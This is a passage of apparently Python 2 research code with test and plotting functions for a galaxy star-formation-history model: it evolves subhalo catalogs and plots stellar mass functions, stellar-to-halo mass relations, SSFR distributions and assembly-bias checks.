in [0.01, 0.05][::-1]: theta['sfh'] = {'name': 'random_step', 'dt_min': tstep, 'dt_max': tstep, 'sigma': 0.3} theta['mass']['t_step'] = np.min([0.05, tstep/10.]) # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(sigma_smhm=sig_smhm, nsnap_ancestor=nsnap_ancestor) subcat = subhist.Read() eev = Evol.Evolver(subcat, theta, nsnap0=nsnap_ancestor) eev.Initiate() eev.Evolve() subcat = eev.SH_catalog #prettyplot() pretty_colors = prettycolors() isSF = np.where(subcat['gclass'] == 'star-forming')[0] fig = plt.figure(figsize=(25,7)) sub = fig.add_subplot(1,3,1) for n in range(2, nsnap_ancestor+1)[::-1]: # identify SF population at snapshot smf_sf = Obvs.getMF(subcat['snapshot'+str(n)+'_m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='b', alpha=0.05 * (21. - n)) smf_sf = Obvs.getMF(subcat['m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='b', ls='-', label='Integrated') smf_sf_msham = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham[0], smf_sf_msham[1], lw=3, c='k', ls='--', label='SHAM') sub.set_xlim([6.75, 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-5, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('log $\Phi$', fontsize=25) sub.legend(loc='upper right') sub = fig.add_subplot(1,3,2) smhmr = Obvs.Smhmr() m_mid, mu_mstar, sig_mstar, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.star'][isSF]) sub.errorbar(m_mid, mu_mstar, yerr=sig_mstar) sub.fill_between(m_mid, mu_mstar - 0.2, mu_mstar + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) # also plot the SHAM SMHMR m_mid, mu_msham, sig_msham, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.sham'][isSF]) sub.plot(m_mid, mu_msham + sig_msham, ls='--', c='k') sub.plot(m_mid, mu_msham - sig_msham, ls='--', c='k') sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([8., 12.]) sub.set_ylabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == nsnap_ancestor))[0] m_bin = np.arange(9.0, 12.5, 0.5) i_bin = np.digitize(subcat['m.star0'][isSF], m_bin) sub = fig.add_subplot(1,3,3) for i in np.unique(i_bin): i_rand = np.random.choice(np.where(i_bin == i)[0], size=1)[0] dsfrs = [subcat['sfr0'][isSF[i_rand]] - (Obvs.SSFR_SFMS( subcat['m.star0'][isSF[i_rand]], UT.z_nsnap(nsnap_ancestor), theta_SFMS=eev.theta_sfms) + subcat['m.star0'][isSF[i_rand]])[0]] sub.text(UT.t_nsnap(nsnap_ancestor - i) + 0.1, dsfrs[0] + 0.02, '$\mathcal{M}_* \sim $'+str(m_bin[i]), fontsize=15) for nn in range(2, nsnap_ancestor)[::-1]: M_nn = subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]] mu_sfr = Obvs.SSFR_SFMS(M_nn, UT.z_nsnap(nn), theta_SFMS=eev.theta_sfms) + M_nn dsfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]] - mu_sfr[0]) mu_sfr = Obvs.SSFR_SFMS(subcat['m.star'][isSF[i_rand]], UT.z_nsnap(1), theta_SFMS=eev.theta_sfms) + subcat['m.star'][isSF[i_rand]] dsfrs.append(subcat['sfr'][isSF[i_rand]] - mu_sfr[0]) sub.plot(UT.t_nsnap(range(1, nsnap_ancestor+1)[::-1]), dsfrs, c=pretty_colors[i], lw=2) sub.plot([UT.t_nsnap(nsnap_ancestor), UT.t_nsnap(1)], [0.3, 0.3], c='k', ls='--', lw=2) sub.plot([UT.t_nsnap(nsnap_ancestor), UT.t_nsnap(1)], [-0.3, -0.3], c='k', ls='--', lw=2) sub.set_xlim([UT.t_nsnap(nsnap_ancestor), UT.t_nsnap(1)]) sub.set_xlabel('$t_{cosmic}$', fontsize=25) sub.set_ylim([-1., 1.]) sub.set_ylabel('$\Delta$log SFR', fontsize=25) fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0) fig.savefig( ''.join([UT.fig_dir(), 'random_step.nsnap0_', str(nsnap_ancestor), '.sigmaSMHM', str(sig_smhm), '.tstep', str(tstep), '.png']), bbox_inches='tight') plt.close() del subhist return None def EvolverQAplots(subcat, theta, savefig=None): ''' Given subhalo catalog ''' prettyplot() pretty_colors = prettycolors() nsnap0 = subcat['nsnap0'] isSF = np.where(subcat['gclass'] == 'star-forming')[0] fig = plt.figure(figsize=(25,7)) sub = fig.add_subplot(1,3,1) for n in range(2, nsnap0+1)[::-1]: # identify SF population at snapshot smf_sf = Obvs.getMF(subcat['snapshot'+str(n)+'_m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='b', alpha=0.05 * (21. - n)) smf_sf = Obvs.getMF(subcat['m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='b', ls='-', label='Integrated') smf_sf_msham = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham[0], smf_sf_msham[1], lw=3, c='k', ls='--', label='SHAM') sub.set_xlim([6.75, 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-5, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('log $\Phi$', fontsize=25) sub.legend(loc='upper right') sub = fig.add_subplot(1,3,2) smhmr = Obvs.Smhmr() m_mid, mu_mstar, sig_mstar, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.star'][isSF]) sub.errorbar(m_mid, mu_mstar, yerr=sig_mstar) sub.fill_between(m_mid, mu_mstar - 0.2, mu_mstar + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) # also plot the SHAM SMHMR m_mid, mu_msham, sig_msham, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.sham'][isSF]) sub.plot(m_mid, mu_msham + sig_msham, ls='--', c='k') sub.plot(m_mid, mu_msham - sig_msham, ls='--', c='k') sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([8., 12.]) sub.set_ylabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == nsnap0))[0] m_bin = np.arange(9.0, 12.5, 0.5) i_bin = np.digitize(subcat['m.star0'][isSF], m_bin) sub = fig.add_subplot(1,3,3) for i in np.unique(i_bin): i_rand = np.random.choice(np.where(i_bin == i)[0], size=1)[0] dsfrs = [subcat['sfr0'][isSF[i_rand]] - (Obvs.SSFR_SFMS( subcat['m.star0'][isSF[i_rand]], UT.z_nsnap(nsnap0), theta_SFMS=theta['sfms']) + subcat['m.star0'][isSF[i_rand]])[0]] sub.text(UT.t_nsnap(nsnap0 - i) + 0.1, dsfrs[0] + 0.02, '$\mathcal{M}_* \sim $'+str(m_bin[i]), fontsize=15) for nn in range(2, nsnap0)[::-1]: M_nn = subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]] mu_sfr = Obvs.SSFR_SFMS(M_nn, UT.z_nsnap(nn), theta_SFMS=theta['sfms']) + M_nn dsfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]] - mu_sfr[0]) mu_sfr = Obvs.SSFR_SFMS(subcat['m.star'][isSF[i_rand]], UT.z_nsnap(1), theta_SFMS=theta['sfms']) + subcat['m.star'][isSF[i_rand]] dsfrs.append(subcat['sfr'][isSF[i_rand]] - mu_sfr[0]) sub.plot(UT.t_nsnap(range(1,nsnap0+1)[::-1]), dsfrs, c=pretty_colors[i], lw=2) sub.plot([UT.t_nsnap(nsnap0), UT.t_nsnap(1)], [0.3, 0.3], c='k', ls='--', lw=2) sub.plot([UT.t_nsnap(nsnap0), UT.t_nsnap(1)], [-0.3, -0.3], c='k', ls='--', lw=2) sub.set_xlim([UT.t_nsnap(nsnap0), UT.t_nsnap(1)]) sub.set_xlabel('$t_{cosmic}$', fontsize=25) sub.set_ylim([-1., 1.]) sub.set_ylabel('$\Delta$log SFR', fontsize=25) fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0) if savefig is not None: fig.savefig(''.join([UT.fig_dir(), sfh+'_eval.png']), bbox_inches='tight') plt.close() return None else: return fig def EvolverPlots(sfh, nsnap0=None): ''' ''' # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read() # load in generic theta (parameter values) theta = Evol.defaultTheta(sfh) eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve() subcat = eev.SH_catalog #prettyplot() pretty_colors = prettycolors() isSF = np.where(subcat['gclass'] == 'star-forming')[0] fig = plt.figure(figsize=(25,7)) sub = fig.add_subplot(1,3,1) for n in range(2, nsnap0+1)[::-1]: # identify SF population at snapshot smf_sf = Obvs.getMF(subcat['snapshot'+str(n)+'_m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='b', alpha=0.05 * (21. - n)) smf_sf = Obvs.getMF(subcat['m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='b', ls='-', label='Integrated') smf_sf_msham = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham[0], smf_sf_msham[1], lw=3, c='k', ls='--', label='SHAM') sub.set_xlim([6.75, 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-5, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('log $\Phi$', fontsize=25) sub.legend(loc='upper right') sub = fig.add_subplot(1,3,2) smhmr = Obvs.Smhmr() m_mid, mu_mstar, sig_mstar, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.star'][isSF]) sig_mstar_mh12 = smhmr.sigma_logMstar(subcat['halo.m'][isSF], subcat['m.star'][isSF], Mhalo=12.) sub.errorbar(m_mid, mu_mstar, yerr=sig_mstar) sub.fill_between(m_mid, mu_mstar - 0.2, mu_mstar + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) sub.text(0.3, 0.9, '$\sigma_{log\, M*}(M_h = 10^{12} M_\odot)$ ='+str(round(sig_mstar_mh12, 3)), ha='center', va='center', transform=sub.transAxes) sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([8., 12.]) sub.set_ylabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == nsnap0))[0] m_bin = np.arange(9.0, 12.5, 0.5) i_bin = np.digitize(subcat['m.star0'][isSF], m_bin) sub = fig.add_subplot(1,3,3) for i in np.unique(i_bin): i_rand = np.random.choice(np.where(i_bin == i)[0], size=1)[0] dsfrs = [subcat['sfr0'][isSF[i_rand]] - (Obvs.SSFR_SFMS( subcat['m.star0'][isSF[i_rand]], UT.z_nsnap(nsnap0), theta_SFMS=eev.theta_sfms) + subcat['m.star0'][isSF[i_rand]])[0]] sub.text(UT.t_nsnap(nsnap0 - i) + 0.1, dsfrs[0] + 0.02, '$\mathcal{M}_* \sim $'+str(m_bin[i]), fontsize=15) for nn in range(2, nsnap0)[::-1]: M_nn = subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]] mu_sfr = Obvs.SSFR_SFMS(M_nn, UT.z_nsnap(nn), theta_SFMS=eev.theta_sfms) + M_nn dsfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]] - mu_sfr[0]) mu_sfr = Obvs.SSFR_SFMS(subcat['m.star'][isSF[i_rand]], UT.z_nsnap(1), theta_SFMS=eev.theta_sfms) + subcat['m.star'][isSF[i_rand]] dsfrs.append(subcat['sfr'][isSF[i_rand]] - mu_sfr[0]) sub.plot(UT.t_nsnap(range(1,nsnap0+1)[::-1]), dsfrs, c=pretty_colors[i], lw=2) sub.plot([UT.t_nsnap(nsnap0), UT.t_nsnap(1)], [0.3, 0.3], c='k', ls='--', lw=2) sub.plot([UT.t_nsnap(nsnap0), UT.t_nsnap(1)], [-0.3, -0.3], c='k', ls='--', lw=2) sub.set_xlim([UT.t_nsnap(nsnap0), UT.t_nsnap(1)]) sub.set_xlabel('$t_{cosmic}$', fontsize=25) sub.set_ylim([-1., 1.]) sub.set_ylabel('$\Delta$log SFR', fontsize=25) fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0) fig.savefig(''.join([UT.fig_dir(), sfh+'_eval.png']), bbox_inches='tight') plt.close() return None def test_Evolver_AssemblyBias(sig_corr, nsnap0=None, downsampled=None): ''' Test assembly bias is implementation ''' # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read(downsampled=downsampled) # load in generic theta (parameter values) theta = Evol.defaultTheta('random_step_abias') theta['sfh']['sigma_corr'] = sig_corr eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve() subcat = eev.SH_catalog prettyplot() pretty_colors = prettycolors() isSF = np.where(subcat['gclass'] == 'star-forming')[0] fig = plt.figure(figsize=(25,7)) sub = fig.add_subplot(1,3,1) smhmr = Obvs.Smhmr() m_mid, mu_mstar, sig_mstar, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.star'][isSF]) sub.errorbar(m_mid, mu_mstar, yerr=sig_mstar) sub.fill_between(m_mid, mu_mstar - 0.2, mu_mstar + 0.2, color='k', alpha=0.25, linewidth=0, edgecolor=None) # also plot the SHAM SMHMR m_mid, mu_msham, sig_msham, cnts = smhmr.Calculate(subcat['halo.m'][isSF], subcat['m.sham'][isSF]) sub.plot(m_mid, mu_msham + sig_msham, ls='--', c='k') sub.plot(m_mid, mu_msham - sig_msham, ls='--', c='k') sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([8., 12.]) sub.set_ylabel('Stellar Mass $(\mathcal{M}_*)$', fontsize=25) sub = fig.add_subplot(1,3,2) sub.plot(m_mid, sig_mstar, label='$\sigma_{M_*}$') sub.plot(m_mid, sig_msham, label='$\sigma_{M_{sham}}$') sub.set_xlim([10.5, 14.]) sub.set_xlabel('Halo Mass $(\mathcal{M}_{halo})$', fontsize=25) sub.set_ylim([0., 0.5]) sub.set_ylabel('$\sigma$', fontsize=25) sub.legend(loc='upper right') sub = fig.add_subplot(1,3,3) isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == nsnap0))[0] i_rand = np.random.choice(isSF, size=5000, replace=False)#[0] for n in range(1, nsnap0)[::-1]: if n == 1: Mstar_n = subcat['m.star'][i_rand] Mhalo_n = subcat['halo.m'][i_rand] SFR_n = subcat['sfr'][i_rand] else: Mstar_n = subcat['snapshot'+str(n)+'_m.star'][i_rand] Mhalo_n = subcat['snapshot'+str(n)+'_halo.m'][i_rand] SFR_n = subcat['snapshot'+str(n)+'_sfr'][i_rand] Mstar_n_1 = subcat['snapshot'+str(n+1)+'_m.star'][i_rand] Mhalo_n_1 = subcat['snapshot'+str(n+1)+'_halo.m'][i_rand] mu_sfr = Obvs.SSFR_SFMS(Mstar_n, UT.z_nsnap(n), theta_SFMS=eev.theta_sfms) + Mstar_n dsfrs = SFR_n - mu_sfr #mu_sfr = Obvs.SSFR_SFMS(Mstar_n, UT.z_nsnap(nn), theta_SFMS=eev.theta_sfms) + M_nn #for nn in range(2, nsnap0)[::-1]: # #M_nn = subcat['snapshot'+str(nn)+'_m.star'][isSF[i_rand]] # mu_sfr = Obvs.SSFR_SFMS(Mstar_n, UT.z_nsnap(nn), theta_SFMS=eev.theta_sfms) + M_nn # dsfrs.append(subcat['snapshot'+str(nn)+'_sfr'][isSF[i_rand]] - mu_sfr[0]) #dsfrs = [subcat['sfr0'][isSF[i_rand]] - (Obvs.SSFR_SFMS( # subcat['m.star0'][isSF[i_rand]], UT.z_nsnap(20), # theta_SFMS=eev.theta_sfms) + subcat['m.star0'][isSF[i_rand]])[0]] dMstar = Mstar_n - Mstar_n_1 dMhalo = Mhalo_n - Mhalo_n_1 sub.scatter(dMhalo, dMstar, lw=0) #sub.scatter(dMhalo, 0.3 * np.random.randn(len(dMhalo)), c='k') #print np.std(dsfrs) #sub.scatter(dMhalo, dsfrs, lw=0) sub.set_xlim([-0.5, 0.5]) sub.set_xlabel('$\Delta$ log $M_{halo}$', fontsize=25) #sub.set_ylabel('$\Delta$ log $M_*$', fontsize=25) sub.set_ylim([-1., 1.]) sub.set_ylabel('$\Delta$ log SFR', fontsize=25) fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0) plt.show() return None def test_AssemblyBias(sig_corr, nsnap0=None, downsampled=None): ''' Test how assembly bias is implemented by comparing the distribution of (D SFR, D Mhalo) for SF galaxies. ################################################ test seems successful ################################################ ''' # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read(downsampled=downsampled) # load in generic theta (parameter values) theta = Evol.defaultTheta('random_step_abias') theta['sfh']['sigma_corr'] = sig_corr # with specified correlation (assembly bias) eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve() subcat = eev.SH_catalog #prettyplot() pretty_colors = prettycolors() # pick 5000 star forming galaxies with halos since nsnap0 isSF = np.where((subcat['gclass'] == 'star-forming') & (subcat['nsnap_start'] == nsnap0) & (subcat['weights'] > 0.))[0] i_rand = np.random.choice(isSF, size=5000, replace=False)#[0] for n in range(1, nsnap0)[::-1]: fig = plt.figure(figsize=(7,7)) sub = fig.add_subplot(1,1,1) if n == 1: Mstar_n = subcat['m.star'][i_rand] Mhalo_n = subcat['halo.m'][i_rand] SFR_n = subcat['sfr'][i_rand] else: Mstar_n = subcat['snapshot'+str(n)+'_m.star'][i_rand] Mhalo_n = subcat['snapshot'+str(n)+'_halo.m'][i_rand] SFR_n = subcat['snapshot'+str(n)+'_sfr'][i_rand] Mstar_n_1 = subcat['snapshot'+str(n+1)+'_m.star'][i_rand] Mhalo_n_1 = subcat['snapshot'+str(n+1)+'_halo.m'][i_rand] # delta SFR mu_sfr = Obvs.SSFR_SFMS(Mstar_n, UT.z_nsnap(n), theta_SFMS=eev.theta_sfms) + Mstar_n dsfrs = SFR_n - mu_sfr dMstar = Mstar_n - Mstar_n_1 dMhalo = Mhalo_n - Mhalo_n_1 #sub.scatter(dMhalo, dMstar, lw=0) sub.scatter(dMhalo, 0.3 * np.random.randn(len(dMhalo)), c='k') #print np.std(dsfrs) sub.scatter(dMhalo, dsfrs, lw=0) sub.set_xlim([-0.5, 0.5]) sub.set_xlabel('$\Delta$ log $M_{halo}$', fontsize=25) #sub.set_ylabel('$\Delta$ log $M_*$', fontsize=25) #sub.set_ylim([-1., 1.]) sub.set_ylabel('$\Delta$ log SFR', fontsize=25) plt.show() plt.close() #fig.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0) #plt.show() return None def test_EvolverInitiate(test, nsnap, nsnap0=20, downsampled=None): ''' Tests for Initiate method in Evolver for specified nsnap snapshot. ''' if nsnap > nsnap0: raise ValueError('nsnap has to be less than or equal to nsnap0') # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read(downsampled=downsampled) theta = Evol.defaultTheta('constant_offset') # load in generic theta (parameters) eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() if test == 'pssfr': # calculate P(SSFR) obv_ssfr = Obvs.Ssfr() started = np.where(subcat['nsnap_start'] == nsnap) ssfr_bin_mids, ssfr_dists = obv_ssfr.Calculate( subcat['m.star0'][started], subcat['sfr0'][started]-subcat['m.star0'][started], weights=subcat['weights'][started]) fig = plt.figure(figsize=(20, 5)) bkgd = fig.add_subplot(111, frameon=False) panel_mass_bins = [[9.7, 10.1], [10.1, 10.5], [10.5, 10.9], [10.9, 11.3]] for i_m, mass_bin in enumerate(panel_mass_bins): sub = fig.add_subplot(1, 4, i_m+1) sub.plot(ssfr_bin_mids[i_m], ssfr_dists[i_m], lw=3, ls='-', c='k') # mark the SSFR of SFMS and Quiescent peak sub.vlines(Obvs.SSFR_SFMS(0.5 * np.sum(mass_bin), UT.z_nsnap(20), theta_SFMS=theta['sfms']), 0., 1.7, color='b', linewidth=3) sub.vlines(Obvs.SSFR_Qpeak(0.5 * np.sum(mass_bin)), 0., 1.7, color='r', linewidth=3) massbin_str = ''.join([ r'$\mathtt{log \; M_{*} = [', str(mass_bin[0]), ',\;', str(mass_bin[1]), ']}$' ]) sub.text(-12., 1.4, massbin_str, fontsize=20) # x-axis sub.set_xlim([-13., -8.]) # y-axis sub.set_ylim([0.0, 1.7]) sub.set_yticks([0.0, 0.5, 1.0, 1.5]) if i_m == 0: sub.set_ylabel(r'$\mathtt{P(log \; SSFR)}$', fontsize=25) else: sub.set_yticklabels([]) ax = plt.gca() leg = sub.legend(bbox_to_anchor=(-8.5, 1.55), loc='upper right', prop={'size': 20}, borderpad=2, bbox_transform=ax.transData, handletextpad=0.5) bkgd.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off') bkgd.set_xlabel(r'$\mathtt{log \; SSFR \;[yr^{-1}]}$', fontsize=25) plt.show() elif test == 'fq': # calculate quiescent fraction obv_fq = Obvs.Fq() pretty_colors = prettycolors() fig = plt.figure(figsize=(6,6)) sub = fig.add_subplot(111) started = np.where(subcat['nsnap_start'] == nsnap) print len(started[0]), ' galaxies' print np.sum(subcat['weights'][started]) m_mid, fq, counts = obv_fq.Calculate( mass=subcat['m.star0'][started], sfr=subcat['sfr0'][started], z=UT.z_nsnap(nsnap), weights= subcat['weights'][started], theta_SFMS=theta['sfms'], counts=True) cc = pretty_colors[nsnap] sub.scatter(m_mid, fq, c=cc, s=10) sub.plot(m_mid, fq, c=cc) sub.plot(m_mid, obv_fq.model(m_mid, UT.z_nsnap(nsnap), lit='cosmos_tinker'), c=cc, ls='--') for i in range(len(m_mid)): sub.text(m_mid[i], 0.05+fq[i], str(counts[i])) plt.show() elif test == 'smf_evol': # check the SMF evolution of the SF population fig = plt.figure(figsize=(7,7)) sub = fig.add_subplot(111) for n in range(2, 21)[::-1]: # identify SF population at snapshot pop_sf = np.where( (subcat['gclass0'] == 'star-forming') & (subcat['nsnap_quench'] <= n) & (subcat['weights'] > 0.) ) smf_sf = Obvs.getMF( subcat['snapshot'+str(n)+'_m.sham'][pop_sf], weights=subcat['weights'][pop_sf]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='k', alpha=0.05 * (21. - n))#, label='Snapshot '+str(n)) pop_sf = np.where( (subcat['gclass'] == 'star-forming') & (subcat['weights'] > 0.) ) smf_sf = Obvs.getMF( subcat['m.sham'][pop_sf], weights=subcat['weights'][pop_sf]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='k', ls='--', label='Snapshot 1') sub.set_xlim([6., 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-5, 10**-1.5]) sub.set_yscale('log') sub.set_ylabel('$\Phi$', fontsize=25) sub.legend(loc='upper right') plt.show() elif test == 'smf_M0': # check the SMF of galaxies with M_sham(z0) = 0 fig = plt.figure(figsize=(7,7)) sub = fig.add_subplot(111) blank = np.where((subcat['snapshot20_m.sham'] == 0.) & (subcat['weights'] > 0.)) smf_blank = Obvs.getMF(subcat['m.sham'][blank], weights=subcat['weights'][blank]) smf_tot = Obvs.getMF(subcat['m.sham'], weights=subcat['weights']) sub.plot(smf_tot[0], smf_blank[1]/smf_tot[1], lw=3, c='k', ls='-') sub.set_xlim([6., 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) #sub.set_ylim([1e-5, 10**-1.5]) #sub.set_yscale('log') #sub.set_ylabel('$\Phi$', fontsize=25) plt.show() return None def test_EvolverInitSF(nsnap, nsnap0=20, downsampled=None): ''' Checks whether or not the SF populations from Evolver.InitSF method correctly produces SFRs on the SFMS. ''' if nsnap > nsnap0: raise ValueError('nsnap has to be less than or equal to nsnap0') # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralSubhalos(nsnap0=nsnap0) subcat = subhist.Read(downsampled=downsampled) theta = Evol.defaultTheta('constant_offset') # load in generic theta (parameters) eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.InitSF() obv_ssfr = Obvs.Ssfr() started = np.where(subcat['nsnap_start'] == nsnap) ssfr_bin_mids, ssfr_dists = obv_ssfr.Calculate( subcat['m.star0'][started], subcat['sfr0'][started]-subcat['m.star0'][started], weights=subcat['weights'][started]) fig = plt.figure(figsize=(20, 5)) bkgd = fig.add_subplot(111, frameon=False) panel_mass_bins = [[9.7, 10.1], [10.1, 10.5], [10.5, 10.9], [10.9, 11.3]] for i_m, mass_bin in enumerate(panel_mass_bins): sub = fig.add_subplot(1, 4, i_m+1) sub.plot(ssfr_bin_mids[i_m], ssfr_dists[i_m], lw=3, ls='-', c='k') # mark the SSFR of SFMS and Quiescent peak sub.vlines(Obvs.SSFR_SFMS(0.5 * np.sum(mass_bin), UT.z_nsnap(nsnap), theta_SFMS=theta['sfms']), 0., 1.7, color='b', linewidth=3) sub.vlines(Obvs.SSFR_Qpeak(0.5 * np.sum(mass_bin)), 0., 1.7, color='r', linewidth=3) massbin_str = ''.join([ r'$\mathtt{log \; M_{*} = [', str(mass_bin[0]), ',\;', str(mass_bin[1]), ']}$' ]) sub.text(-12., 1.4, massbin_str, fontsize=20) # x-axis sub.set_xlim([-13., -8.]) # y-axis sub.set_ylim([0.0, 1.7]) sub.set_yticks([0.0, 0.5, 1.0, 1.5]) if i_m == 0: sub.set_ylabel(r'$\mathtt{P(log \; SSFR)}$', fontsize=25) else: sub.set_yticklabels([]) ax = plt.gca() leg = sub.legend(bbox_to_anchor=(-8.5, 1.55), loc='upper right', prop={'size': 20}, borderpad=2, bbox_transform=ax.transData, handletextpad=0.5) bkgd.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off') bkgd.set_xlabel(r'$\mathtt{log \; SSFR \;[yr^{-1}]}$', fontsize=25) plt.show() return None def test_EvolverEvolve(test, nsnap0=20, downsampled=None): ''' Tests for Evolve method in Evolver ''' # load in Subhalo Catalog (pure centrals) subhist = Cat.PureCentralHistory(nsnap_ancestor=nsnap0) subcat = subhist.Read(downsampled=downsampled) # load in generic theta (parameter values) theta = Evol.defaultTheta() eev = Evol.Evolver(subcat, theta, nsnap0=nsnap0) eev.Initiate() eev.Evolve() subcat = eev.SH_catalog pretty_colors = prettycolors() if test == 'smf': isSF = np.where(subcat['gclass'] == 'star-forming') fig = plt.figure(figsize=(7,7)) sub = fig.add_subplot(111) for n in range(2, 21)[::-1]: # identify SF population at snapshot smf_sf = Obvs.getMF( subcat['snapshot'+str(n)+'_m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=2, c='b', alpha=0.05 * (21. - n)) smf_sf_msham0 = Obvs.getMF(subcat['m.star0'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham0[0], smf_sf_msham0[1], lw=3, c='k', ls='--') smf_sf_msham = Obvs.getMF(subcat['m.sham'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf_msham[0], smf_sf_msham[1], lw=3, c='k', ls='--', label='SHAM') print np.sum(subcat['m.star'][isSF] < 0.) print subcat['m.star'][isSF].min(), subcat['m.star'][isSF].max() #raise ValueError smf_sf = Obvs.getMF(subcat['m.star'][isSF], weights=subcat['weights'][isSF]) sub.plot(smf_sf[0], smf_sf[1], lw=3, c='b', ls='-', label='Integrated') sub.set_xlim([6., 12.]) sub.set_xlabel('Stellar Masses $(\mathcal{M}_*)$', fontsize=25) sub.set_ylim([1e-6, 10**-1.75]) sub.set_yscale('log') sub.set_ylabel('$\Phi$', fontsize=25) sub.legend(loc='upper right') plt.show() elif test == 'smf_comp': # SMF of composition isSF = np.where(subcat['gclass'] == 'star-forming')[0] fig = plt.figure(figsize=(15,7)) sub = fig.add_subplot(121) #smf_sf_msham0 = Obvs.getMF(subcat['m.star0'][isSF], weights=subcat['weights'][isSF]) #sub.plot(smf_sf_msham0[0], smf_sf_msham0[1], lw=3, c='k', ls='--') m0s = subcat['m.star0'][isSF] mlow = np.arange(m0s.min(), m0s.max(), 0.5) for i_m in range(len(mlow)): inMbin = np.where((subcat['m.star0'][isSF] > mlow[i_m]) & (subcat['m.star0'][isSF] < mlow[i_m] + 0.5)) smf_sf = Obvs.getMF(subcat['m.star'][isSF[inMbin]], weights=subcat['weights'][isSF[inMbin]]) if i_m == 0: smf_sf0 = np.zeros(len(smf_sf[0])) smf_sf1 = smf_sf[1] else: smf_sf1 = smf_sf0 + smf_sf[1] mbin_label = ''.join([str(mlow[i_m])+', '+str(mlow[i_m] + 0.5)]) sub.fill_between(smf_sf[0], smf_sf0, smf_sf1, facecolor=pretty_colors[i_m % 20], edgecolor=None, lw=0)#, label=mbin_label) smf_sf0 = smf_sf1 smf_sf = Obvs.getMF(subcat['m.star'][isSF], 